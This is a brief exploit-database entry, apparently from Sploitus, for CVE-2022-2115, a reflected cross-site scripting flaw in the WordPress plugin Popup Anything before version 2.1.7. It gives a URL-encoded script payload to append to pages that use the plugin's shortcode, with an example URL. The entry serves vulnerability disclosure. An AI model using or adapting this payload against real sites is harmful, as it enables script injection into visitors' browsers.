Exploit for Popup Anything < 2.1.7 - Reflected Cross-Site Scripting CVE-2022-2115

Name: Exploit for Popup Anything < 2.1.7 - Reflected Cross-Site Scripting CVE-2022-2115
Rating: 5 (103 reviews)

2022-07-04 | CVSS -0.2

## https://sploitus.com/exploit?id=WPEX-ID:1F0AE535-C560-4510-AE9A-059E2435AD39
On a post/page where the [paoc_details display="key_xxx"] shortcode is embed, append the following payload: ?xxx=11111%3Cscript%3Ealert(/XSS/)%3C/script%3E

e.g: https://example.com/2022/06/10/hello/?xxx=11111%3Cscript%3Ealert(/XSS/)%3C/script%3E